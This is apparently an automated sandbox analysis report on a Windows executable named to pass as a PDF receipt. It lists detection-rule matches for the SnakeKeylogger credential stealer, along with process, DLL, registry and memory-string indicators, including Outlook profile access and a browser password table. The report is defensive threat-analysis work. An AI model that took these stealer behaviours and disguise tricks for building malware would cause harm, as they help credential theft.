Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2041394043.000000000115E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2046122911.00000000081C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000003E09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042530353.0000000003072000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499767526.00000000010F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe	Binary or memory string: OriginalFilenamekAyu.exe< vs rDEKONT-1_15_2025__75kb__pdf.exe

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rDEKONT-1_15_2025__75kb__pdf.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Mutant created: NULL

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003346000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003353000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: rDEKONT-1_15_2025__75kb__pdf.exe	Virustotal: Detection: 27%
Source: rDEKONT-1_15_2025__75kb__pdf.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

File read: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process created: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process created: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060C1B02 push 840536A5h; iretd	0_2_060C1B0D
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CEBFB push ecx; ret	0_2_060CEBFC
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827729B pushad ; retf	0_2_082772A1

Source: rDEKONT-1_15_2025__75kb__pdf.exe

Static PE information: section name: .text entropy: 7.683784572394097

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
